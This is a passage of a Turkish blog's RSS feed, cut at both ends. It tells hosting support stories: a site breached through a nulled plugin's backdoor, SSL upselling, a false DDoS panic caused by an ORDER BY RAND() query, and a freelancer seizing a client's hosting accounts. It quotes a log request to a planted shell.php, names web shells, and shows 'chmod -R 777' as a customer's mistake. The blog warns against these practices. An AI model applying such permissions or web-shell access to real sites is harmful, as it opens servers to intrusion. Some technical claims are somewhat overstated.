Saldırganlar özel bir hack tekniği kullanmamıştır; basit bir kaba kuvvet (brute-force) botuyla on saniyede kapıdan içeri girmiştir.</li>
</ul>
<h4>2. Delil: Korsan Eklentinin Arka Kapısı</h4>
<p>Müşteri iki ay önce internetten popüler bir e-ticaret eklentisinin "ücretsiz / crackli" (nulled) versiyonunu bir Rus forumundan indirip siteye yüklemiştir.<br>
Loglara bakılır:<br>
Saldırgan, o eklentinin içine önceden gizlenmiş olan o minicik kod satırına bir <code>HTTP POST</code> isteği atmıştır:<br>
<code>POST /wp-content/plugins/revslider/temp/shell.php HTTP/1.1 200 OK</code></p>
<p>Saldırgan o açık sayesinde sunucuya bir <strong>PHP Web Shell (WSO / c99 / Alfa Shell)</strong> yüklemiştir!<br>
Yani hacker sunucunun güvenlik duvarını aşmamıştır; müşterinin kendi eliyle yüklediği arka kapıdan elini kolunu sallayarak içeri girmiş, koltuğa oturmuş ve dosyaları düzenlemiştir.</p>
<h4>3. Delil: "chmod 777" Çaresizliği</h4>
<p>Müşteri bir ay önce bir görsel yükleyemeyince internetteki bir forumda okuduğu tavsiyeye uyarak tüm klasörlerin izinlerini değiştirmiştir:<br>
<code>chmod -R 777 public_html</code><br>
Yani dünyadaki herkese <em>"Gel benim dosyalarımı oku, yaz, sil, değiştir"</em> izni vermiştir!</p>
<hr>
<h3>Apartman Dairesi Analojisi: Kapıyı Açık Bırakıp Bekçiyi Suçlamak</h3>
<p>Sistem mühendisi bilet üzerinden log kayıtlarını, saldırının IP adresini ve yüklenen zararlı PHP dosyalarının ekran görüntülerini müşteriye tane tane anlatır:<br>
<em>"Beyefendi, sunucumuzda hiçbir güvenlik ihlali yoktur. Saldırgan sitenize kurduğunuz korsan temanın içindeki arka kapıdan ve zayıf yönetici şifrenizden girmiştir..."</em></p>
<p>Fakat müşterinin cevabı değişmez:<br>
<em>"Bana teknik masal anlatmayın! Ben yazılımcı mıyım? Madem öyle eklenti bozuktu, sizin sunucunuz niye o eklentiyi içeri aldı? Güvenlik duvarınız niye engellemedi?!"</em></p>
<p>Bu mantık neye benzer biliyor musunuz?<br>
Lüks bir sitede güvenlikli bir apartman dairesi kiralarsınız.<br>
Sitenin nizamiyesinde güvenlik görevlileri vardır, kameralar çalışmaktadır, ana bina kapısı kilitlidir.<br>
Fakat siz kendi dairenizin çelik kapısını ardına kadar açık bırakırsınız, anahtarı da kapının önündeki paspasın altına koyarsınız!<br>
Gece hırsız gelir, elini kolunu sallayarak evinize girer, televizyonunuzu ve kasanızı çalar.<br>
Sabah uyanınca sokağa fırlayıp nizamiyedeki güvenlik görevlisine saldırırsınız:<br>
<em>"Sen nasıl güvenliksin? Benim evimi soydular, hırsızı niye yakalamadın?!"</em></p>
<p>Güvenlik görevlisi binayı korur; fakat sizin kendi evinizin kapısını açık bırakma hakkınıza ve aptallığınıza müdahale edemez!</p>
<hr>
<h3>Paylaşımlı Hostingde Güvenliğin Sınırları</h3>
<p>Bir web sitesi sahibi olan herkesin anlaması gereken temel mimari gerçekler şunlardır:</p>
<ol>
<li><strong>Sunucu Güvenliği vs. Uygulama Güvenliği:</strong> Hosting firması sunucunun işletim sistemini (Linux çekirdeğini, cPanel'i, web sunucusunu, ağ filtrelerini) korur. Fakat sizin sitenizin içine kurduğunuz PHP kodlarının, temaların ve eklentilerin güvenliği <strong>tamamen sizin sorumluluğunuzdadır.</strong></li>
<li><strong>Korsan (Nulled) Yazılım Bir Truva Atıdır:</strong> Bedava peynir sadece fare kapanında olur. 60 dolarlık temayı bedavaya indirdiğiniz o forumdaki hacker, o temanın içine babasının hayrına arka kapı koymamıştır. O tema bir gün sitenizi zombi botnete çevirecektir.</li>
<li><strong>Güçlü Şifre ve İki Faktörlü Doğrulama (2FA):</strong> WordPress admin paneline mutlaka 2FA (çift faktörlü doğrulama) kurun. Şifrelerinizi en az 16 karakterli karmaşık kombinasyonlardan seçin.</li>
<li><strong>WAF ve Güvenlik Eklentileri:</strong> Sitenizin önüne Cloudflare WAF koyun veya sunucu düzeyinde ModSecurity kurallarını kapatmayın; şüpheli istekleri daha sunucuya ulaşmadan havada engelleyin.</li>
</ol>
<p>Tıpta bozuk tavuk yiyip zehirlenen hasta suçu hastane musluğuna atamaz.</p>
<p>Web dünyasında da şifresini "123456" yapıp korsan temalarla sitesini deldiren müşteri suçu hosting firmasına kesemez.</p>
<p>Kendi kapınızı kilitleyin, yazılımınızı güncel tutun ve bedava korsan çöplerden uzak durun. Çünkü siz kapıyı açık bıraktığınızda, dünyadaki hiçbir güvenlik duvarı sizi kendi dikkatsizliğinizden koruyamaz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Siber Güvenlik</category>
            <category>WordPress</category>
            <category>Hosting</category>
            <category>Web Shell</category>
            <category>cPanel</category>
            <category>SysAdmin</category>
            <category>Müşteri Psikolojisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sitem-hacklendi-kapiyi-acik-birakip-mahalleyi-suclama-refleksi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Free SSL (Let's Encrypt)" ve Hosting Firmalarının "SSL Satma" Manipülasyonu]]></title>
            <link>http://localhost:3000/blog/post/free-ssl-lets-encrypt-ve-hosting-firmalarinin-ssl-satma-manipulasyonu</link>
            <guid>free-ssl-lets-encrypt-ve-hosting-firmalarinin-ssl-satma-manipulasyonu</guid>
            <pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Let's Encrypt ile ücretsiz hale gelen TLS şifrelemesini panelden gizleyip müşteriye hâlâ fahiş fiyata "Özel SSL" satan yerel hosting şark kurnazlığı; kamu sağlığı aşısını parayla satma analojisi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/free-ssl-lets-encrypt-ve-hosting-firmalarinin-ssl-satma-manipulasyonu/thumbnail" alt=""> Halk sağlığı ve tıp etiği tarihinde çok temel bir ahlak çizgisi vardır: Bazı medikal koruma kalkanları ticari bir meta olamaz; onlar tüm toplumun varoluşsal güvenliği için "kamusal bir hak" olmak zorundadır.</p>
<p>Örneğin tetanoz, kızamık veya çocuk felci aşıları... Bir devlet veya sağlık otoritesi bu aşıları asla parayla satmaz; sağlık ocaklarında, kapıda duran her vatandaşa ücretsiz ve koşulsuz olarak uygular. Çünkü amaç sadece o bireyi korumak değil, toplumun genelinde sürü bağışıklığı oluşturarak salgının yayılmasını engellemektir.</p>
<p>Şimdi bir özel kliniğin kapısında durup, sağlık ocağında ücretsiz yapılan o hayat kurtarıcı tetanoz aşısını sakladığını; kapıdan giren yoksul insanlara <em>"Bakın devletin bedava aşısı kalitesizdir, sizi korumaz. Gelin size bizim VIP Altın Korumalı özel aşımızı 500 dolara yapalım"</em> diyerek korku pazarlaması yaptığını hayal edin.</p>
<p>Bunun adı ticaret değildir; cehaleti ve korkuyu sömüren ahlaksız bir manipülasyondur.</p>
<p>İnternet dünyasında, web hosting sektöründe ve e-ticaret altyapılarında da tam olarak bu sahte aşı tüccarlığını kopyalayan, 2026 yılında bile hâlâ yüz binlerce KOBİ'yi aldatmaya devam eden devasa bir şark kurnazlığı vardır: <strong>Let's Encrypt İle Bedava Hale Gelen SSL Sertifikasını Gizleyip, Müşteriye Hâlâ Yıllık Yüzlerce Liraya "Özel Güvenlikli SSL" Satma Tiyatrosu.</strong></p>
<hr>
<h3>Eski Dünyanın Ayrıcalığı: Parası Olanın Kilit Simgesi</h3>
<p>2015 yılından önce web dünyası karanlık ve güvensizdi.<br>
İnternet trafiğinin %80'i şifresiz, düz metin halinde (<code>http://</code>) akıyordu. Kafede otururken yan masadaki bir lise öğrencisi bile Wi-Fi ağını dinleyip şifrelerinizi havada yakalayabiliyordu.</p>
<p>O yıllarda tarayıcı adres çubuğunda yeşil bir kilit simgesi (<code>https://</code>) görmek tam anlamıyla bir zenginlik ve kurumsallık göstergesiydi.<br>
Çünkü bir SSL/TLS sertifikası almak:</p>
<ul>
<li>VeriSign, GeoTrust, Thawte veya Comodo gibi devasa sertifika otoritelerine (CA) yıllık <strong>100 ila 300 Dolar</strong> para ödemeyi,</li>
<li>Şirket evraklarını, vergi levhalarını noter onaylı olarak İngilizceye çevirip Amerika'ya fakslamayı,</li>
<li>Sunucuya özel statik bir IPv4 adresi (aylık ek ücret!) tahsis etmeyi gerektiriyordu.</li>
</ul>
<p>SSL lüks bir kravattı; sadece bankalar ve büyük e-ticaret devleri takabiliyordu.</p>
<hr>
<h3>Devrim: Let's Encrypt ve Şifrelemenin Demokratikleşmesi</h3>
<p>Ve 2015 yılının sonunda, küresel sivil toplum örgütleri (EFF - Electronic Frontier Foundation), Mozilla, Cisco, Akamai ve Michigan Üniversitesi bir araya gelerek internet tarihinin en büyük devrimini başlattı: <strong>İnternet Güvenlik Araştırma Grubu (ISRG) ve Let's Encrypt!</strong></p>
<p>Felsefe tek bir cümleyle özetlendi:<br>
<strong>"Şifrelenmiş bir internet, temel bir insan hakkıdır. Hiç kimse internette güvenle gezinmek ve verisini korumak için para ödemek zorunda kalmamalıdır."</strong></p>
<p>Let's Encrypt, <strong>ACME (Automated Certificate Management Environment)</strong> protokolünü geliştirdi:</p>
<ul>
<li>Sertifika başvurusu saniyelik bir API isteğiyle otomatikleşti.</li>
<li>90 günlük ömür biçildi ve sunucu arka planda kendi kendine, insan eli değmeden bu sertifikayı sonsuza kadar yenilemeye başladı.</li>
<li>Ve en can alıcı nokta: <strong>Tamamen, koşulsuz, sonsuza kadar ÜCRETSİZ oldu!</strong></li>
</ul>
<p>Bugün dünyadaki internet trafiğinin %95'inden fazlası HTTPS üzerinden akıyorsa, bu başarının tek mimarı Let's Encrypt'tir.</p>
<hr>
<h3>Şark Kurnazlığı: Menüden Gizlenen "Bedava" Butonu</h3>
<p>Peki bu devrim gerçekleştiğinde Türkiye'deki ve dünyadaki geleneksel, kurnaz hosting firmaları ne yaptı?<br>
"Harika, artık tüm müşterilerimize ücretsiz ve otomatik SSL veriyoruz" mu dediler?<br>
Asla!</p>
<p>Çünkü o güne kadar müşteriye hiçbir maliyeti olmayan o dijital sertifikaları "güvenlik" adı altında yıllık 250 - 500 liraya satmak, hosting firmalarının en tatlı, sıfır maliyetli kâr kapılarından biriydi! Bu tatlı musluğun kesilmesini kabullenemediler.</p>
<p>Ve o meşhur manipülasyon teknikleri sahneye konuldu:</p>
<h4>1. Panelden Modülü Kasıtlı Olarak Kapatmak</h4>
<p>cPanel ve DirectAdmin yönetim panelleri Let's Encrypt entegrasyonuyla birlikte gelir; tek bir tıkla tüm sitelere ücretsiz SSL basabilirsiniz.<br>
Fakat kurnaz hosting sağlayıcısı ne yapar?<br>
Sunucu konfigürasyonundan o ücretsiz AutoSSL ve Let's Encrypt eklentisini <strong>kasten kapatır veya panelden gizler!</strong><br>
Müşteri panele girdiğinde "SSL Yükle" dediğinde karşısına sadece "Sertifika Kodu (CRT) ve Özel Anahtar (KEY) Girin" diyen karmaşık bir form çıkarır.</p>
<h4>2. Satın Alma Sepetinde Korku Pazarlaması</h4>
<p>Müşteri 100 liraya bir web sitesi veya domain siparişi verirken, sepet aşamasında önüne devasa kırmızı uyarı pencereleri patlatılır:</p>
<blockquote>
<p><em>"DİKKAT! Siteniz tarayıcılarda 'GÜVENSİZ' olarak işaretlenecektir! Müşterileriniz kredi kartı bilgilerini girmekten korkacaktır!<br>
[ ] Standart Güvenlikli 256-Bit SSL Sertifikası Ekle (Yıllık 399 TL) - ŞİDDETLE TAVSİYE EDİLİR!"</em></p>
</blockquote>
<p>Korkutulan esnaf veya acemi webmaster titreyerek o kutucuğu işaretler. 100 liralık hizmet 500 liraya fırlar!</p>
<h4>3. "Bizim SSL'imiz Paralı, O Yüzden Daha Güvenli" Yalanı</h4>
<p>Destek masasına <em>"Let's Encrypt varmış, siz niye paralı satıyorsunuz?"</em> diye soran uyanık müşterilere verilen cevap ise trajikomik bir mühendislik cehaletidir:<br>
<em>"Efendim Let's Encrypt korsan ve açık kaynaklıdır, bankalar tanımaz, Google ceza verir, şifrelemesi zayıftır. Bizim sattığımız Comodo/Sectigo sertifikası 250.000 Dolar sigorta garantilidir ve askeri düzeyde şifreler!"</em></p>
<hr>
<h3>Matematik Yalan Söylemez: Şifrelemenin Gerçeği</h3>
<p>Bir siber güvenlik uzmanının bu pazarlama yalanı karşısında söyleyeceği şey çok nettir:<br>
<strong>Matematik paralı veya parasız diye ikiye ayrılmaz!</strong></p>
<ul>
<li>Yıllık 500 dolara aldığınız o süslü kurumsal SSL sertifikası hangi algoritmayı kullanır? <strong>RSA 2048/4096 bit veya ECDSA P-256 / P-384, şifreleme olarak AES-256.</strong></li>
<li>Let's Encrypt'in size bedavaya verdiği o 90 günlük otomatik sertifika hangi algoritmayı kullanır? <strong>Birebir aynı RSA 2048 veya ECDSA P-256, birebir aynı AES-256!</strong></li>
</ul>
<p>Veri paketi havada akarken, NSA veya dünyanın en güçlü hacker grubu bile o trafiği dinlemeye kalksa; o trafiğin Let's Encrypt ile mi yoksa 500 dolarlık sertifikayla mı şifrelendiğini ayırt edemez! Çünkü arkasındaki matematiksel eliptik eğri veya çarpanlara ayırma zorluğu kuruşu kuruşuna aynıdır!</p>
<p>Peki o paralı sertifikaların broşüründe yazan "100.000 Dolar Sigorta Garantisi" nedir?<br>
Tarihte o sigortadan tek bir kuruş tazminat alabilmiş dünyada tek bir şirket bile yoktur! Çünkü o sigorta sizin sitenizin hacklenmesini değil; sertifika otoritesinin kendi ana kök şifresini çaldırması durumunu kapsar ki bu ihtimal nükleer bir savaş çıkması ihtimalinden daha düşüktür.</p>
<p><em>(Not: Eskiden tarayıcılarda şirketin adını yeşil kutucukta gösteren EV - Extended Validation sertifikaları vardı; fakat Google Chrome ve Apple Safari yıllar önce o yeşil barı kaldırıp sıradan gri kilide dönüştürerek bu statü ticaretine son noktayı koydu).</em></p>
<hr>
<h3>Özgür İnternetin Tarafında Durmak</h3>
<p>Bugün 2026 yılında, müşterisine tek tıkla ücretsiz Let's Encrypt veya CloudLinux AutoSSL sağlamayan bir hosting firması:</p>
<ul>
<li>Ya teknolojik olarak on yıl geriden gelen bir dinozordur,</li>
<li>Ya da müşterisinin bilgisizliğini sömürerek havadan para kazanmayı alışkanlık haline getirmiş bir şark kurnazıdır.</li>
</ul>
<p>Eğer çalıştığınız hosting firması sizden standart bir web sitesi veya e-ticaret başlangıcı için hâlâ yıllık SSL parası talep ediyorsa; yapacağınız tek bir hareket vardır:<br>
O firmayı terk etmek.</p>
<p>Çünkü şifreleme bir ayrıcalık veya lüks bir aksesuar değildir; modern internetin en temel hijyen standardıdır. Temel aşıya para isteyen hastaneden nasıl kaçıyorsanız; temel şifrelemeye para isteyen hosting firmasından da öyle uzak durun.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SSL</category>
            <category>Lets Encrypt</category>
            <category>TLS</category>
            <category>Hosting</category>
            <category>Siber Güvenlik</category>
            <category>Pazarlama Yalanları</category>
            <category>Web</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/free-ssl-lets-encrypt-ve-hosting-firmalarinin-ssl-satma-manipulasyonu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["DDoS Saldırısı Aldım": Küçük Sitenin Büyük Paranoyası ve "ORDER BY RAND()" Faciası]]></title>
            <link>http://localhost:3000/blog/post/ddos-saldirisi-aldim-kucuk-sitenin-buyuk-paranoyasi-ve-order-by-rand-faciasi</link>
            <guid>ddos-saldirisi-aldim-kucuk-sitenin-buyuk-paranoyasi-ve-order-by-rand-faciasi</guid>
            <pubDate>Sun, 12 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Günde yirmi ziyaretçisi olan blog sitesi yavaşlayınca Anonymous veya Rus hackerların saldırdığını sanan müşteri megalomanisi; tek bir kötü SQL sorgusunun yarattığı içsel DDoS.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ddos-saldirisi-aldim-kucuk-sitenin-buyuk-paranoyasi-ve-order-by-rand-faciasi/thumbnail" alt=""> Psikiyatri kliniklerinde ve acil servis nöbetlerinde hekimlerin sıkça karşılaştığı klinik tablolardan biri "Perseküsyon ve Megalomanik Sanrılar"dır (Büyüklük ve Takip Edilme Hezeyanı).</p>
<p>Kendi halinde, mahallede kimsenin tanımadığı sıradan bir vatandaş nefes nefese acil servise dalar. Gözleri yuvalarından fırlamıştır:<br>
<em>"Doktor bey beni MİT ve CIA takip ediyor! Karşı apartmanın çatısına keskin nişancılar yerleştirdiler, uydudan beynime mikrodalga sinyaller gönderiyorlar, beni ortadan kaldırmaya çalışıyorlar!"</em></p>
<p>Hekim sakinleşip hastayı muayene eder: Tansiyonunu ölçer: <code>190/110 mmHg</code>.<br>
Kafasındaki o uğultu ve baş ağrısı gizli servislerin lazer silahlarından değil; sabah almayı unuttuğu tansiyon ilacı yüzünden beynine vuran yüksek kan basıncından kaynaklanmaktadır!</p>
<p>İnsan egosu o kadar tuhaftır ki; kendi sıradanlığını, kendi vücudunun basit bir arızasını kabullenmektense, tüm dünyanın ve süper güçlerin kendisini yok etmek için birleştiği o görkemli komplo teorisine inanmayı çok daha çekici bulur. "Önemsiz bir arıza" olmak acı verir; "küresel bir hedefin kurbanı olmak" ise sahte bir tatmin sağlar.</p>
<p>Web hosting dünyasında, siber güvenlik operasyonlarında ve teknik destek masalarında da her gün hekimlerin bu tablosunu birebir kopyalayan meşhur bir müşteri mizahı yaşanır: <strong>Günde Toplam Yirmi Ziyaretçisi Olan Bir Sitenin Sahibi Sitem Yavaşlayınca "Devasa DDoS Saldırısı Altındayız!" Diye Bilet Açması.</strong></p>
<hr>
<h3>Rus Hackerlar Mahalle Tesisatçısına Karşı!</h3>
<p>Senaryo Türk internetinin değişmez bir klasiğidir.<br>
Müşterinin bir web sitesi vardır: <code>ankaratesisattemizleme.com</code> veya kişisel şiirlerini paylaştığı küçük bir blog.<br>
Google Analytics verilerine bakarsınız: Günde ortalama <strong>15 ila 25 tekil ziyaretçi</strong> girmektedir (onların da yarısı yanlışlıkla tıklayan akrabalardır).</p>
<p>Bir salı günü öğleden sonra müşteri sitesine girmek ister: <code>enter</code>.<br>
Sayfa 40 saniye boyunca yüklenmez.<br>
Ardından tarayıcıda o meşhur beyaz sayfa belirir:<br>
<code>Error establishing a database connection</code><br>
Veya Nginx'in 504 Gateway Timeout hatası.</p>
<p>Müşteri telefonunu eline alır. Kalbi küt küt atmaktadır.<br>
İçindeki o megalomanik siber savaş kahramanı anında uyanır!<br>
Kendi kendine fısıldar:<br>
<em>"Rakipler! Çankaya'daki diğer tesisat firması beni çekemedi! Gittiler Dark Web'den Rus hacker ordusu kiraladılar! Bana siber savaş açtılar!"</em></p>
<p>Müşteri hemen hosting firmasının destek masasına dalar ve Caps Lock'u açarak o destansı bilet metnini yazar:</p>
<blockquote>
<p><strong>Konu:</strong> ÇOK ACİL! BİZE ORGANİZE DDOS SALDIRISI YAPILIYOR!<br>
<strong>Mesaj:</strong> <em>"Şu an sitemize organize bir siber çete tarafından saniyede 100 Gbps büyüklüğünde devasa bir Dağıtık Servis Dışı Bırakma (DDoS) saldırısı düzenlenmektedir! Rakiplerimiz şirketimizi batırmak istiyor! Derhal paketimizi en üst seviyeye yükseltin, tüm donanımsal güvenlik duvarı (Firewall) ve anti-DDoS filtrelerinizi açın! Gerekirse IP adresimizi korumalı yurt dışı hatlarına taşıyın!"</em></p>
</blockquote>
<hr>
<h3>Adli Bilişim Masası: Saniyede 0.1 İstek!</h3>
<p>Hosting firmasının ağ operasyon merkezindeki (NOC) ağ mühendisi bildirimi alır.<br>
"Acaba gerçekten bir BGP fırtınası veya volumetrik bir SYN-Flood saldırısı mı var?" diyerek hemen omurga switch'in NetFlow ve sFlow trafik grafiklerini açar.</p>
<p>Müşterinin IP adresine gelen anlık trafiğe bakar:<br>
Gelen trafik: <strong>Saniyede 12 Kilobit!</strong><br>
Gelen HTTP isteği sayısı: <strong>Dakikada 3 adet istek!</strong> (O üç isteğin ikisi de zaten müşterinin panikle F5'e basıp durmasından ibarettir!)</p>
<p>Ortada ne bir Rus botneti vardır, ne bir Anonymous saldırısı, ne de rakiplerin kiraladığı bir siber ordu.<br>
Ağ trafiği pırıl pırıldır, hatta sunucu adeta bir göl kenarı kadar sakindir.</p>
<p>Peki o zaman bu site neden açılmamaktadır? Veritabanı neden kilitlenmiştir?</p>
<hr>
<h3>İçerdeki İntihar Bombacısı: <code>ORDER BY RAND()</code> Faciası</h3>
<p>Mühendis sunucunun MySQL konsoluna girer ve çalışan aktif sorguları listeler:<br>
<code>SHOW FULL PROCESSLIST;</code></p>
<p>Ve ekranda beliren tek bir satır, tüm o "uluslararası siber saldırı" tiyatrosunu bir saniyede yerle bir eder:</p>
<pre><code class="language-sql">SELECT * FROM wp_posts 
WHERE post_type = 'post' AND post_status = 'publish' 
ORDER BY RAND() 
LIMIT 5;
</code></pre>
<p>Mühendis acı bir tebessümle başını sallar.<br>
Müşteri bir gün önce WordPress sitesinin yan sütununa (sidebar) <em>"Rastgele İlginç Yazılar"</em> adında süslü bir bileşen eklemiştir!</p>
<p>Ve o bileşenin geliştiricisi, tembel ve cahil bir yazılımcı olduğu için rastgele 5 yazıyı seçebilmek adına SQL'in en ölümcül fonksiyonunu kullanmıştır: <strong>ORDER BY RAND()!</strong></p>
<p>Bu tek satırlık sorgu arka planda ne yapar biliyor musunuz?</p>
<ol>
<li>Sitede 5.000 adet blog yazısı veya ürün vardır.</li>
<li>MySQL, rastgele 5 satırı seçebilmek için o 5.000 satırın tamamını RAM'e kopyalar.</li>
<li>Her bir satır için rastgele bir ondalık sayı üretir.</li>
<li>Bu devasa veri kümesini sunucunun diskinde geçici bir tabloya (Temporary Table) yazar.</li>
<li>Diskteki o tabloyu baştan sona sıralar (Disk Sorting), en üstteki 5 satırı alır ve geçici tabloyu siler!</li>
</ol>
<p>Yani tek bir ziyaretçi o sayfayı her açtığında; sunucu 5.000 satırlık veriyi diskte evirip çevirmekte, işlemcinin tüm çekirdeklerini <code>%100</code> yüke sokmakta ve MySQL'in tüm iş parçacıklarını kilitlemektedir!</p>
<p>Ve müşteri gibi beş kişi aynı anda F5 tuşuna bastığı o saniyede; MySQL motoru nefes alamaz hale gelmiş, kilitlenmiş (Deadlock) ve <code>Error establishing database connection</code> diyerek yere çakılmıştır!</p>
<p>Müşteriyi vuran şey Rusya'dan gelen 100 Gbps'lik DDoS füzeleri değildir; müşteriyi vuran şey, <strong>kendi eliyle sitenin göbeğine yerleştirdiği o berbat, optimize edilmemiş tek satırlık SQL sorgusudur!</strong></p>
<hr>
<h3>Megalomaninin Tedavisi: Kendi Kodunla Yüzleşmek</h3>
<p>Destek mühendisi bilet üzerinden sorgu analizini müşteriye açıklar:<br>
<em>"Hasan Bey, sitenize gelen hiçbir harici saldırı yoktur. Sitenizin yan sütunundaki 'Rastgele Yazılar' bileşenindeki <code>ORDER BY RAND()</code> sorgusu MySQL'i kilitliyor. O eklentiyi kaldırdık, siteniz anında açıldı."</em></p>
<p>Fakat o megalomanik tatmini yaşayan müşterinin bu gerçeği kabullenmesi çok zordur:<br>
<em>"Nasıl yani? Bir satır yazı yüzünden miydi? Ben saldırı altındayız sanmıştım..."</em></p>
<p>Bir web projesi yönetiyorsanız, şu teknik olgunluğa ulaşmak zorundasınız:</p>
<ol>
<li><strong>Önce Aynaya Bakın:</strong> Siteniz yavaşladığında veya çöktüğünde suçu hemen dış mihraklara, hackerlara veya hosting firmasına atmayın. Sitenin koduna, eklentilerine ve veritabanı sorgularına bakın. Dünyadaki web kesintilerinin %95'i dış saldırılardan değil; içerideki kötü mimariden kaynaklanır.</li>
<li><strong><code>EXPLAIN</code> ile Sorgu Analizi Yapın:</strong> Veritabanınızda yavaş çalışan sorguları <code>slow-query-log</code> üzerinden bulun. Sorgunun başına <code>EXPLAIN</code> yazarak o sorgunun indeks kullanıp kullanmadığını, geçici tablo açıp açmadığını denetleyin.</li>
<li><strong>Önbellek (Caching) Kullanın:</strong> Rastgele veri çekmek gibi ağır matematiksel işlemleri her sayfa yenilemesinde veritabanına yaptırmayın! Sonucu Redis veya Memcached'e yazın, 1 saat boyunca oradan okutun.</li>
</ol>
<p>Tıpta tansiyonu fırlayınca CIA suikastı sanan hastaya ilaç verip sakinleştirirler.</p>
<p>Web dünyasında da günde 20 ziyaretçiyle DDoS paranoyası yaşayan site sahibine sunulacak tek bir reçete vardır: Kodunu optimize et, sorgularını düzelt ve kendi sıradanlığınla barış.</p>
<p>Çünkü en ölümcül hacker; çoğu zaman kendi klavyenizin başında oturan o dikkatsiz yazılımcıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DDoS</category>
            <category>MySQL</category>
            <category>Optimizasyon</category>
            <category>Siber Güvenlik</category>
            <category>Hosting</category>
            <category>SysAdmin</category>
            <category>Müşteri Psikolojisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ddos-saldirisi-aldim-kucuk-sitenin-buyuk-paranoyasi-ve-order-by-rand-faciasi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["FTP Şifresini Ajansa Verdim": Dijital Rehine Krizi ve Destek Masası Çaresizliği]]></title>
            <link>http://localhost:3000/blog/post/ftp-sifresini-ajansa-verdim-dijital-rehine-krizi-ve-destek-masasi-caresizligi</link>
            <guid>ftp-sifresini-ajansa-verdim-dijital-rehine-krizi-ve-destek-masasi-caresizligi</guid>
            <pubDate>Sat, 11 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hosting ve domain panel şifrelerini ajansa teslim edip ödeme krizinde kapı dışarı edilen esnafın trajedisi; adli tıp vekalet istismarı analojisi ve hosting firmasının hukuki kilitlenmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ftp-sifresini-ajansa-verdim-dijital-rehine-krizi-ve-destek-masasi-caresizligi/thumbnail" alt=""> Hukuk davalarında ve adli tıp psikiyatrisinde hekimlerin ve hakimlerin en çok karşılaştığı dramatik dosyalardan biri "Vekaletname İstismarı"dır.</p>
<p>Seksen yaşında, hafızası zayıflamış yalnız bir amca düşünün. Kapı komşusu veya uzaktan bir akrabası gelir; <em>"Amca sen yorulma, bankadaki emekli maaşını ben çekerim, elektrik faturalarını ben öderim, bana bir imza ver"</em> der. Amca noterden genel vekaletnameyi çıkartıp teslim eder.</p>
<p>Üç ay sonra ne olur? O iyi niyetli akraba bankadaki tüm mevduatı boşaltır, amcanın oturduğu evi kendi üzerine geçirir ve ortadan kaybolur. Amca adliye koridorlarında gözyaşları içinde feryat eder: <em>"Hakim bey beni dolandırdılar, evimi elimden aldılar!"</em></p>
<p>Hakim dosyayı açar: Tapu devri noter onaylı vekaletnameyle yapılmıştır; ortada sahte bir imza yoktur, zorlama yoktur! Amca kendi rızasıyla evin anahtarını yabancıya teslim etmiştir. Hukuk, kişinin kendi eliyle verdiği yetkiyi geriye işletmekte kilitlenir.</p>
<p>Web hosting sektöründe, kurumsal internet altyapılarında ve müşteri hizmetleri masalarında her hafta en az üç kez sahnelenen, sinir krizleriyle dolu meşhur bir Türk esnafı trajedisi vardır: <strong>Hosting ve Domain Panelinin Şifresini Freelance Yazılımcıya Verip, Anlaşmazlık Çıkınca Sitenin Rehin Alınması.</strong></p>
<p>Ve çaresiz kalan patronun soluğu hosting firmasının destek masasında alıp <em>"Ben bu şirketin sahibiyim, şifremi geri verin!"</em> diye haykırdığı o hukuki çıkmaz.</p>
<hr>
<h3>"Hepsini Sen Hallet Kardeşim" Teslimiyeti</h3>
<p>Senaryo her zaman aynı güven ve bilgisizlikle başlar.<br>
Güngören'de bir tekstil atölyesi veya Ostim'de bir makine yedek parça üreticisi patronu, şirketine yeni bir web sitesi yaptırmak ister.<br>
Bir tanıdık vasıtasıyla freelance çalışan bir gençle veya "dijital ajans" olduğunu iddia eden iki kişilik bir ekiple anlaşır:<br>
<em>"Tamam evladım, 15 bin liraya anlaşalım, sitemizi pırıl pırıl yap."</em></p>
<p>Yazılımcı der ki:<br>
<em>"Hasan Bey, siteyi yükleyebilmem için bana hosting ve domain panelinizin kullanıcı adı ve şifresi lazım."</em></p>
<p>Hasan Bey için "cPanel şifresi" veya "hosting müşteri paneli", e-devlet şifresi veya banka şifresi gibi hayati bir mülkiyet belgesi değildir; alt tarafı bilgisayarcıların kullandığı önemsiz bir teknik detaydır.<br>
Hasan Bey hiç tereddüt etmeden WhatsApp'tan yazar:<br>
<code>Kullanıcı: hasantekstil</code><br>
<code>Şifre: 123456</code></p>
<p>Ve böylece Hasan Bey, şirketinin tüm dijital tapusunu, e-posta arşivini, müşteri yazışmalarını ve alan adının mutlak kontrolünü o gencin ellerine teslim etmiş olur.</p>
<hr>
<h3>Anlaşmazlık Patladığı An: Şifrelerin Değişmesi</h3>
<p>İki ay geçer. Site tamamlanır ama Hasan Bey tasarımı beğenmez: <em>"Bu renk olmamış, logoyu beğenmedim."</em><br>
Yazılımcı der ki: <em>"Anlaştığımız revizyon bitti, fazladan 10 bin lira daha vermeniz lazım."</em><br>
Hasan Bey köpürür: <em>"Ben sana bu parayı vermem, sen ne iş yaptın ki!"</em></p>
<p>Ve o an, ipler kopar.<br>
Yazılımcı evine gider, bilgisayarının başına oturur.<br>
Hasan Bey'in verdiği o kullanıcı bilgileriyle hosting müşteri paneline girer:</p>
<ol>
<li>Hesabın kayıtlı e-posta adresini kendi e-postasıyla değiştirir: <code>yazilimci@gmail.com</code>.</li>
<li>İki faktörlü doğrulamayı (2FA) kendi telefonuna bağlar.</li>
<li>cPanel şifresini, FTP şifresini, MySQL şifresini değiştirir.</li>
